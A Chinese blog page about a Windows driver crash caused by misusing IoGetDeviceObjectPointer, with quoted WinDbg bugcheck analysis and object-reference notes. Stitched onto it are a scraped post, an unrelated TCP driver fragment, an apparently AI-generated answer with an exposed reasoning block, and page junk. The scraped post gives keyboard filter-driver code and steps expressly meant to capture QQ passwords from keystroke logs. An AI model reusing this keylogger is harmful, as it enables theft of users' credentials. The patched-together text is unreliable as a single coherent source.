一个差点被IoGetDeviceObjectPointer搞死的菜鸟

一个差点被IoGetDeviceObjectPointer搞死的菜鸟

  最近被迫学习Windows驱动开发(有多少人跟我一样不是主动去学的),感觉有所得之后就写了个读取PCI配置信息的小小小小的驱动,结果。。。。。。。。。。。。成功了。当然要是真的成功了下面的内容就没有意义了。一次幸运的手贱,我把测试程序同时打开了好多个,于是系统很光荣的牺牲了。
  。。。。。。
  //此处省略N次摧残系统的过程,感谢我的虚拟机对我做出的贡献!!!
  。。。。。。
  经过上面的N次摧残系统以及学习了一点点WinDbg调试的技巧,终于把问题定位在了status = IoGetDeviceObjectPointer(&name_str, FILE_ALL_ACCESS, &fileobj, &devobj);。各位看官有没有猜到我到底是哪里出错了,猜到的前辈请按Ctrl+W,谢谢合作。没错,我把fileobj解除引用了,再最后又把devobj解除引用了。
最后申明一下,除了本句以及以上内容之外,均非本人所写。

1、WinDbg调试

当系统出错中断后,输入!analyze -v命令查看详细信息。
以下内容来自http://bbs.vc52.cn/thread-59520-1-1.html

 当按上面的方法运行后,windbg输出了以下内容:
*** Fatal System Error: 0x000000d1
                       (0xE1147008,0x0000001C,0x00000000,0xFBE93403)

  Break instruction exception - code 80000003 (first chance)

  A fatal system error has occurred.
  Debugger entered on first try; Bugcheck callbacks have not been   invoked.

  A fatal system error has occurred.

*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Use !analyze -v to get detailed debugging information.

2.BugCheck D1, {e1147008, 1c, 0, fbe93403}

*** ERROR: Module load completed but symbols could not be loaded for myfault.sys
3.Probably caused by : myfault.sys ( myfault+403 )

Followup: MachineOwner
---------
nt!RtlpBreakWithStatusInstruction:
80527da8 cc              int     3
Kd:>  

上面这一段,有用的信息,如1和2两段,说明的是一个问题,都指明了BugCheck是D1,并给了四个参数,这里的D1可以在windbg
文档的Bug Check Code Reference中查出其具体含义,也可用!analyze –show D1命令查出。3说明引起的原因是myfault.sys
模块。接着在kd后输入!analyze –v命令,这个命令是详细列出dump文件的信息。

windbg输出如下:
kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)  //指明Bugcheck D1,我们已看见过了
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high.  This is usually
caused by drivers using improper addresses.      //解释了错误的原因
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: e1147008, memory referenced
Arg2: 0000001c, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: fbe93403, address which referenced memory
                 //给出了相应的四个参数,第二列是代号,第三列是解释
Debugging Details:
------------------
READ_ADDRESS:  e1147008 Paged pool       //上面的Arg1.

CURRENT_IRQL:  1c       //上面的Arg2

FAULTING_IP:     //指出发生错误时所执行的指令
myfault+403
fbe93403 8b06            mov     eax,dword ptr [esi]

DEFAULT_BUCKET_ID:  DRIVER_FAULT   //指出错误类型,是驱动错误

BUGCHECK_STR:  0xD1   //bugcheck索引,可查windbg文档,也可!analyze –show D1

PROCESS_NAME:  NotMyfault.exe  //错误所属进程

TRAP_FRAME:  f9357b80 --(trap fffffffff9357b80)//错误时各寄存器的内容
ErrCode = 00000000
eax=00000000 ebx=8111f330 ecx=000000d1 edx=0000001c esi=e1147008 edi=00000000
eip=fbe93403 esp=f9357bf4 ebp=f9357c58 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
myfault+0x403:
fbe93403 8b06            mov     eax,dword ptr [esi]  ds:0023:e1147008=????????
Resetting default scope

LAST_CONTROL_TRANSFER:  from 804f880d to 80527da8

STACK_TEXT: //反映了错误前堆栈中函数调用情况,最下面的0x7c801671处函数调用ntdll中的ZwDeviceIoControlFile,接着
调用了ntdll中的KiFastSystemCallRet,再接着调用了nt(这里的nt指Ntoskrnl)中的KiFastCallEntry,一直到myfault+0x403,
发生异常。
f9357734 804f880d 00000003 f9357a90 00000000 nt!RtlpBreakWithStatusInstruction
f9357780 804f93fa 00000003 e1147008 fbe93403 nt!KiBugCheckDebugBreak+0x19
f9357b60 80540853 0000000a e1147008 0000001c nt!KeBugCheck2+0x574
f9357b60 fbe93403 0000000a e1147008 0000001c nt!KiTrap0E+0x233
WARNING: Stack unwind information not available. Following frames may be wrong.
f9357c58 805759d1 ffb5c3b0 8111f318 811d9130 myfault+0x403
f9357d00 8056e33c 00000090 00000000 00000000 nt!IopXxxControlFile+0x5e7
f9357d34 8053d808 00000090 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f9357d34 7c92eb94 00000090 00000000 00000000 nt!KiFastCallEntry+0xf8
0012f9f0 7c92d8ef 7c801671 00000090 00000000 ntdll!KiFastSystemCallRet
0012f9f4 7c801671 00000090 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012fa54 004018c2 00000090 83360018 00000000 0x7c801671


STACK_COMMAND:  kb

FOLLOWUP_IP: //反汇编了发生错误指令的代码
myfault+403
fbe93403 8b06            mov     eax,dword ptr [esi]

SYMBOL_STACK_INDEX:  4
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: myfault
IMAGE_NAME:  myfault.sys
DEBUG_FLR_IMAGE_TIMESTAMP:  43774e1d
SYMBOL_NAME:  myfault+403
FAILURE_BUCKET_ID:  0xD1_myfault+403
BUCKET_ID:  0xD1_myfault+403
Followup: MachineOwner
//以上几段看名字就知道了,是以上信息的重复没有多大价值。
四、总结
    通过以上的分析,知道了蓝屏的原因是Bugcheck D1引起的,是由于驱动程序读操作了过高的IRQL引起的。也知道了这个引发
蓝屏的驱动程序是myfault.sys,属于notmyfaulf.exe的进程。还知道了蓝屏前bug程序myfault.sys的调用情况等多个有用信息,
接着就可以在myfault.sys源程序中进行bug修改了。

2、IoGetDeviceObjectPointer

以下内容来自http://blog.csdn.net/danxuezx/article/details/5670814
  IoGetDeviceObjectPointer函数从下层的设备对象名称来获得下层设备指针。该函数造成了对下层设备对象以及下层设备对象所对应的文件对象的引用。如果本层驱动在卸载之前对下层的设备对象的引用还没有消除,则下层驱动的卸载会被停止。因此必须要消除对下层设备对象的引用。
  但是程序一般不会直接对下层设备对象的引用减少。原因在于当文件对象的引用减小后,设备对象的引用也会相应自动减小。因此只要减少对文件对象的引用就可以减少文件对象和设备对象两个对象的引用。而如果单独再减少对设备对象的引用,会导致两次减少对设备对象的引用。但是,如果在本驱动的卸载例程之前减少了对文件对象的引用,从而导致设备对象的引用降为0,则有可能导致下层驱动对象的过早删除。因此,如果想在卸载例程之外减小对文件对象的引用,又要在减少对文件对象的引用之前对设备对象增加一次额外的引用,然后在减少对文件对象的引用之后再减小对设备对象的引用。
  事实上,IoGetDeviceObjectPointer返回的并不是下层设备对象的指针。而是该设备堆栈中顶层的设备对象的指针。当然,IRP会一层一层的转发下去,因此下层驱动会得到该IRP。
  IoGetDeviceObjectPointer在内部干了如下的操作。ZwCreateFile ObReferenceObjectByHandle ZwClose IoGetRelatedDeviceObject。在IoGetDeviceObjectPointer后如果调用了IoCallDriver发送私有IRP,然后又调用ObDereferenceObject,这一系列的操作会引发如下的IRP被发送到目标设备对象。IRP_MJ_CREATE IRP_MJ_CLEANUP IRP_MJ_DEVICECONTROL IRP_MJ_CLOSE。当有文件句柄被创建时,IRP_MJ_CREATE被发送;当所有文件句柄关闭时,IRP_MJ_CLEANUP被发送;IRP_MJ_DEVICECONTROL对应私有IRP发送;IRP_MJ_CLOSE则是ObDereferenceObject后文件对象的引用为0后被发送。由此可看出,IRP_MJ_CLEANUP是文件对象句柄计数为0时被发送,而IRP_MJ_CLOSE是文件对象的引用计数为0时发送。

对象的生命周期

  一个内核对象有两种方式被引用。一个是指针,一个是句柄。当创建了一个新的指向该对象的指针时,内核的对象管理器就将该对象的引用计数增加1。当创建了一个新的指向该对象的句柄时,对象管理器不仅将该对象的引用计数加1还要将该对象的句柄技术加1。当一个对象的引用计数为0后,该对象就自动被对象管理器删除。注意,句柄计数为0并不意味着引用计数为0。但当句柄计数为0后,就不能再通过文件名称来操作该对象了。ZwClose在减小句柄计数的同时也减小了引用计数。而诸如IoGetDeviceObjectPointer的函数会在函数内部增加对对象指针,因此增加了对对象的引用。
  对象可分为暂时对象和永久对象。在对象被创建时可以指定。永久对象就是对象被创建时对象管理器就将引用计数加1了的对象。这种对象总可以通过文件名来访问。永久对象可以被转化为暂时对象

http://blog.csdn.net/xiaoxiao108/article/details/7563159 最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。 开发环境 vs2008 winddk ddkwizard windowsxp Dbgview 实现方法 1.把过滤驱动挂载到键盘驱动上面 2.设置完成例程 3.通过KdPrint输出键盘扫描码到DebugView 4. 从DebugView的日志文件中读出键盘按键。 具体代码 1.把过滤驱动挂载到KeyBoardClass0上面 PFILE_OBJECT fileOjbect; PDEVICE_OBJECT deviceObject; UNICODE_STRING deviceName; PDEVICE_EXTENSION pdx; PDEVICE_OBJECT filterDeviceObject; PDEVICE_OBJECT targetDevice; fileOjbect=NULL; RtlInitUnicodeString(&deviceName;,L"\\Device\\KeyBoardClass0"); status=IoGetDeviceObjectPointer(&deviceName;,FILE_ALL_ACCESS,&fileOjbect;,&deviceObject;); pdoDeviceObj->Flags |= DO_BUFFERED_IO; pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension; pdx->pDevice=pdoDeviceObj; pdx->ustrDeviceName=usDeviceName; filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice; targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject); ((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice; filterDeviceObject->DeviceType=targetDevice->DeviceType; filterDeviceObject->Characteristics=targetDevice->Characteristics; filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO)); ObDereferenceObject(fileOjbect); return STATUS_SUCCESS; 2.设置完成例程 PDEVICE_EXTENSION pdx; pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension; IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE); NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp); return status; 3.输出键盘按键的扫描码 NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context) { if(NT_SUCCESS(Irp->IoStatus.Status)) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer; if(keys->Flags==0x0001||keys->Flags==0x0003) KdPrint(("x",keys->MakeCode)); } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } 使用步骤 1.安装驱动 用DriverMonitor加载并运行Driver1.sys驱动文件 2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码 3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。 偶c语言菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱328452421@qq.com http://blog.csdn.net/xiaoxiao108/article/details/7563159
#include <ntddk.h> #include <wdm.h> #include <ntddndis.h> // 调试级别定义(必须放在所有include之后) #define DPFLTR_IHVDRIVER_ID 0x63 // 自定义驱动标识(0-63) #define MYDRIVER_TRACE_LEVEL_INFO DPFLTR_INFO_LEVEL // 0x0 #define MYDRIVER_TRACE_LEVEL_WARNING DPFLTR_WARNING_LEVEL // 0x1 #define MYDRIVER_TRACE_LEVEL_ERROR DPFLTR_ERROR_LEVEL // 0x2 #define MYDRIVER_TRACE_LEVEL_VERBOSE 0x3 // 自定义详细级别 #define IOCTL_PROTOCOL_CONTROL CTL_CODE(FILE_DEVICE_NETWORK, 0x800, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) typedef struct _PROTOCOL_DRIVER { PDEVICE_OBJECT DeviceObject; PFILE_OBJECT FileObject; KEVENT CompletionEvent; IO_STATUS_BLOCK IoStatus; } PROTOCOL_DRIVER; // 协议特征结构 typedef struct _PROTOCOL_CHARACTERISTICS { ULONG Magic; USHORT HeaderSize; UCHAR Checksum; } PROTOCOL_CHARACTERISTICS; // 全局变量 PROTOCOL_DRIVER g_ProtocolDriver; PROTOCOL_CHARACTERISTICS g_ProtocolChars = { 0x4E455449, sizeof(PROTOCOL_CHARACTERISTICS), 0xAA }; // IRP完成回调 NTSTATUS ProtocolIoCompletion( _In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp, _In_ PVOID Context) { UNREFERENCED_PARAMETER(DeviceObject); PKEVENT event = (PKEVENT)Context; KeSetEvent(event, IO_NO_INCREMENT, FALSE); return STATUS_MORE_PROCESSING_REQUIRED; } // 绑定到协议驱动 NTSTATUS AttachToProtocolDriver() { UNICODE_STRING protoName; RtlInitUnicodeString(&protoName, L"\\Device\\Tcp"); NTSTATUS status = IoGetDeviceObjectPointer( &protoName, FILE_ALL_ACCESS, &g_ProtocolDriver.FileObject, &g_ProtocolDriver.DeviceObject); if (!NT_SUCCESS(status)) { DbgPrintEx(DPFLTR_IHVDRIVER_ID, DBG_LEVEL_ERROR, "[%s] Failed to attach to protocol driver: 0x%X\n", __FUNCTION__, status); return status; } DbgPrintEx(DPFLTR_IHVDRIVER_ID, DBG_LEVEL_INFO, "[%s] Successfully attached to protocol driver at 0x%p\n", __FUNCTION__, g_ProtocolDriver.DeviceObject); return STATUS_SUCCESS; }
最新发布
03-31
<think>好的,用户想了解如何通过Windows驱动程序附加到协议驱动并处理IRP完成回调,并需要一个示例。我需要先回忆相关知识点,并结合提供的引用内容来构建答案。 首先,用户提到的“附加到协议驱动”可能是指将驱动程序附加到现有的设备堆栈上,以便拦截和处理IRP。这在Windows驱动开发中是常见的操作,例如过滤驱动程序。根据引用[3]提到的文件系统或过滤器驱动安装时的问题,可能涉及到驱动签名和加载的问题,但用户的问题更关注技术实现。 接下来,处理IRP完成回调需要了解IRP的生命周期。当IRP被发送到底层驱动处理后,在完成时会触发完成例程。开发者可以注册一个完成回调函数来在此处进行处理。引用[4]提到了NTSTATUS代码,这可能与处理IRP时返回的状态有关,例如在回调中检查操作是否成功。 然后,我需要考虑如何正确附加到协议驱动。通常,这涉及到调用IoAttachDeviceToDeviceStackSafe函数来将过滤设备附加到目标设备堆栈。这需要先找到目标设备对象,可能通过设备名称或类型来定位。例如,协议驱动可能有一个特定的设备名称,需要在代码中指定。 然后,编写驱动程序的入口点,如DriverEntry函数,在其中创建设备对象并附加到目标设备。在创建设备对象时,需要设置适当的设备特征和标志,确保正确处理IRP。 处理IRP完成回调时,需要创建一个完成例程函数,并在派遣函数中调用IoSetCompletionRoutineEx来注册它。在完成例程中,可以访问IRP的结果数据,并进行处理。需要注意的是,完成例程中必须正确管理IRP的状态,避免内存泄漏或系统崩溃。 此外,引用[1]提到驱动程序加载失败的问题,可能是因为之前的驱动版本仍在内存中。这提示在开发过程中需要正确卸载驱动,避免残留。引用[2]涉及证书错误,可能和驱动签名有关,但用户的问题可能暂时不需要关注这点,除非示例代码运行时出现签名问题。 最后,确保示例代码符合WDK的规范,使用正确的函数和参数。例如,使用IoCopyCurrentIrpStackLocationToNext来复制IRP栈位置,然后调用IoCallDriver传递IRP。在完成例程中,检查IRP的状态,并执行必要的处理。 总结步骤:附加到协议驱动、设置派遣函数、注册完成回调、处理IRP完成后的操作。同时,注意驱动卸载时的清理工作,如分离设备堆栈和删除设备对象。</think>以下是关于如何通过Windows驱动程序附加到协议驱动并处理IRP完成回调的逐步说明: --- ### 1. **驱动附加到协议驱动的核心步骤** #### (1) 获取目标设备对象 通过设备名称或设备类型定位协议驱动的设备对象。例如,使用`IoGetDeviceObjectPointer`获取目标设备对象指针: ```c UNICODE_STRING targetDeviceName; RtlInitUnicodeString(&targetDeviceName, L"\\Device\\ProtocolDriver"); PFILE_OBJECT fileObject; PDEVICE_OBJECT targetDeviceObject; NTSTATUS status = IoGetDeviceObjectPointer(&targetDeviceName, FILE_ALL_ACCESS, &fileObject, &targetDeviceObject); ``` #### (2) 创建设备对象并附加 创建过滤设备对象,并将其附加到目标设备堆栈: ```c PDEVICE_OBJECT filterDeviceObject; status = IoCreateDevice( DriverObject, 0, NULL, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &filterDeviceObject ); // 附加到协议驱动的设备堆栈 PDEVICE_OBJECT attachedDevice = IoAttachDeviceToDeviceStackSafe(filterDeviceObject, targetDeviceObject); ``` --- ### 2. **IRP完成回调的实现** #### (1) 定义完成回调函数 在IRP完成时触发的回调函数中处理结果: ```c NTSTATUS CompletionRoutine( PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context ) { if (Irp->PendingReturned) { IoMarkIrpPending(Irp); } // 处理IRP完成后的数据(例如读取缓冲区) if (NT_SUCCESS(Irp->IoStatus.Status)) { KdPrint(("IRP completed successfully, Bytes transferred: %d", Irp->IoStatus.Information)); } return STATUS_SUCCESS; } ``` #### (2) 在派遣函数中注册回调 在IRP派遣函数中设置完成回调: ```c NTSTATUS DispatchRead(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp); // 复制当前IRP栈到下一层驱动 IoCopyCurrentIrpStackLocationToNext(Irp); // 设置完成回调 IoSetCompletionRoutineEx( DeviceObject, Irp, CompletionRoutine, NULL, // Context TRUE, // InvokeOnSuccess TRUE, // InvokeOnError TRUE // InvokeOnCancel ); // 传递IRP到下层驱动 return IoCallDriver(((PFILTER_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedDevice, Irp); } ``` --- ### 3. **关键注意事项** - **设备扩展结构**:建议使用设备扩展(`DEVICE_EXTENSION`)存储附加设备对象指针等上下文信息。 - **IRP状态管理**:在完成回调中必须正确处理`Irp->PendingReturned`,否则可能导致系统崩溃[^4]。 - **卸载处理**:在驱动卸载例程中分离设备堆栈并删除设备对象: ```c VOID DriverUnload(PDRIVER_OBJECT DriverObject) { PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject; IoDetachDevice(((PFILTER_DEVICE_EXTENSION)deviceObject->DeviceExtension)->AttachedDevice); IoDeleteDevice(deviceObject); } ``` --- ### 示例代码框架 ```c #include <ntddk.h> typedef struct _FILTER_DEVICE_EXTENSION { PDEVICE_OBJECT AttachedDevice; } FILTER_DEVICE_EXTENSION, *PFILTER_DEVICE_EXTENSION; NTSTATUS CompletionRoutine(PDEVICE_OBJECT, PIRP, PVOID); NTSTATUS DispatchRead(PDEVICE_OBJECT, PIRP); VOID DriverUnload(PDRIVER_OBJECT); NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { DriverObject->DriverUnload = DriverUnload; DriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; // 创建设备并附加到协议驱动(此处需补充设备创建和附加代码) return STATUS_SUCCESS; } ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值